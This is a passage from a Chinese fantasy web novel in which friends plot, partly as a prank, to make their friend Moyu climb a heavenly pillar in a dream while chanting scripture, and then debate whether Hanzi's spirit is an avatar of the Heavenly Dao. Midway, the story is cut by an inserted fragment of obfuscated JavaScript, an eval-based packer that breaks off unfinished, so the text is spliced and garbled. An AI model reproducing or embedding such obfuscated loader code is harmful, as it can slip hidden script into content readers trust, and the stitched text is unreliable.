我惊讶的说道:“不管怎么说,你们也都太厉害了吧!现实见这一幕,真是长见识!说起来,涵子你吹笛子真好听!” 不过我心里震惊之余不免还存了一丝怀疑,真的不是巧合吗?下次有机会再试一试?我心里打算着。 接着我们聊着聊着又说到了墨宇的事儿。一说到墨宇,千尘就来气,忿忿不平地又把墨宇让我念显形咒的事情说了一遍。涵子听的也皱起了眉头说:“他做这事儿也太冒失了!” 我连忙说:“我后面跟他联系过,他和我说,那显形咒是他师父教他的,他觉得好玩才发给我的,但是后面的事情他并没有印象,他说最近一段时间感觉自己不太对劲,老是忘记事情,容易断片,他要闭关一段时间。” 千尘说:“说不定都是他的借口,他那个人丢三落四的,唱经五音不全,画符歪七扭八,该好好锻炼下了,咦……” “你想到什么了?”我见她突然停顿。 “有办法了,我来让他好好锻炼一下吧,顺便给他长个记性……”千尘笑嘻嘻的说。 我和涵子疑惑的看着她。千尘接着说:“我想到一个法子,让他去爬天柱!一边爬一边诵唱早晚课,唱的不好,唱的不对就重来……” 我有些担忧的说:“这样不好吧……是不是太狠了点,毕竟我知道他唱韵子的功底的,我怕他压根完不成啊……” 千尘笑嘻嘻的说:“就是锻炼锻炼他啊,这又不是很难的事情,大不了一晚上不停的爬嘛。” 我看了看涵子,本以为他会反对这个提议,没想到涵子也来了兴趣说:“我觉得也不是不行,我还挺好奇他唱的到底有多五音不全……” “你们……认真的???这样子祖师爷他们会同意吗?”我说。 千尘笑着说:“你放心,大家对于这种热闹都是很喜欢的,再说这也不算惩罚,只是让他好好锻炼而已,完成后自然也会有奖励。” 不知怎么,我当时并没觉得真的会让他去爬天柱,本以为是个玩笑话,所以毫无顾忌地大咧咧的讨论起计划来,最后一致商讨决定,让他爬天柱,一边爬一边背诵早晚课,错一句就掉一阶,直到完全背诵完才可以。 我又说:“好玩儿是好玩儿,但是就算是有计划,也无法执行吧,我们就图个乐呵得了。” 千尘神秘兮兮的说:“话已出口,事已安排,今晚就一起看热闹吧,等着看热闹的可不止我们呢。” 我听千尘说这话,心里隐约又有些不安,于是当着他们的面给墨宇打了个电话说:“墨宇,今晚可能有点惊喜噢……你晚上可得守好了噢。” 墨宇突然用戒备的语气说:“你们想干嘛?” 我听他语气感觉不对劲,立马说:“没事儿,没事儿,开个玩笑。” 墨宇很冷漠的说:“你们是想对我做什么吗?我晚上睡觉是有结界的!” 我见他如此语气,觉得有些奇怪,心里想做恶作剧的念头也消失了一些,就说:“不会做什么,就这样吧,再见。” 挂掉电话后,我心情突然有些低落,我感觉他确实不太对劲,又说不出来是哪里,千尘和涵子见我如此,就说:“没事儿,你别担心,这种也算让他学习锻炼一下,也不算整他。” 我点点头,也不再说话。随后我们又散了会步,涵子就送我们各自回家了。 很快到了晚上,我早早的就上了床,虽然没把白天的话当真,但是心里还是会有好奇心在作祟,想着是否真的可以在梦里看见墨宇爬天柱。本以为会翻来覆去的睡不着,没想到,头一沾枕头立马就睡了过去。 梦里,我环顾四周,看到人很多,很拥挤,有一根很高很大的天柱在离我很远的地方,我在原地蹦哒了几下,想从人群中挤过去,发现人实在是太多了,我左右看了看,就自然的说道:“XX天尊,好久不见啊。咦?XX天尊,你怎么也在?我去,你们别挤我了……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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涵子回复道:“嗯,爬上去了,还是很有毅力的,就是他功底确实差了一些。” 这段对话让我久久不能平静,心想这梦竟然是真的啊?!为了完整验证,我现在就等千尘的回复了。 一直快到中午,千尘才给我回复:“有空?电话?” 我看完消息,立马打电话给她,接通后我还没来得及开口,千尘立马说:“昨天晚上绝了,我跑错地方了,我化身成为了烛龙盘在了不周山,等我赶到天柱那里,他都快结束了,气死我了!” “烛龙?烛龙是什么?”我问。 “山海经里记载的,你自己去查吧,这不是重点!重点是我错过了精彩部分!不过我还发现一点,我去的时候看见涵子了!你知道吗,他和三清站在一起的,能在那个位置,只有一个可能性,只有天道会和他们三个并排。”千尘认真的说。 “你真是越说越玄幻了,天道都蹦哒出来了。”我无语道。但是我突然想到一个问题,我梦里看见的,确实在三清祖师旁边还有个黑影,但是我看不太清楚是谁,又想起了涵子给我说的,他站的位置是墨宇的正上方。这一切能串联起来! 我又问:“涵子元神是天道??太夸张了吧!” 千尘说:“我早上起来就问了这个问题,他们说,涵子元神是天道的分身。” 我说:“完蛋了,这个世界真的是癫了!我周围是些什么大佬啊,蒜鸟蒜鸟,无所谓了……” 千尘说:“也不算太奇怪啦,人以类聚嘛……只是没想到涵子的元神竟然是那个家伙的分身。” 我汗颜说道:“我一时间接受信息量过载了,都是些啥啊,我大脑要过载了……先这样吧,我要先去忙了……” 挂了电话,我又给墨宇发了消息,毕竟要问问他这个当事人到底有啥感觉没。我发去微信说:“你昨晚睡得怎么样?有做什么梦吗?” 墨宇只回复了一句:“你们昨晚到底对我做了什么?!”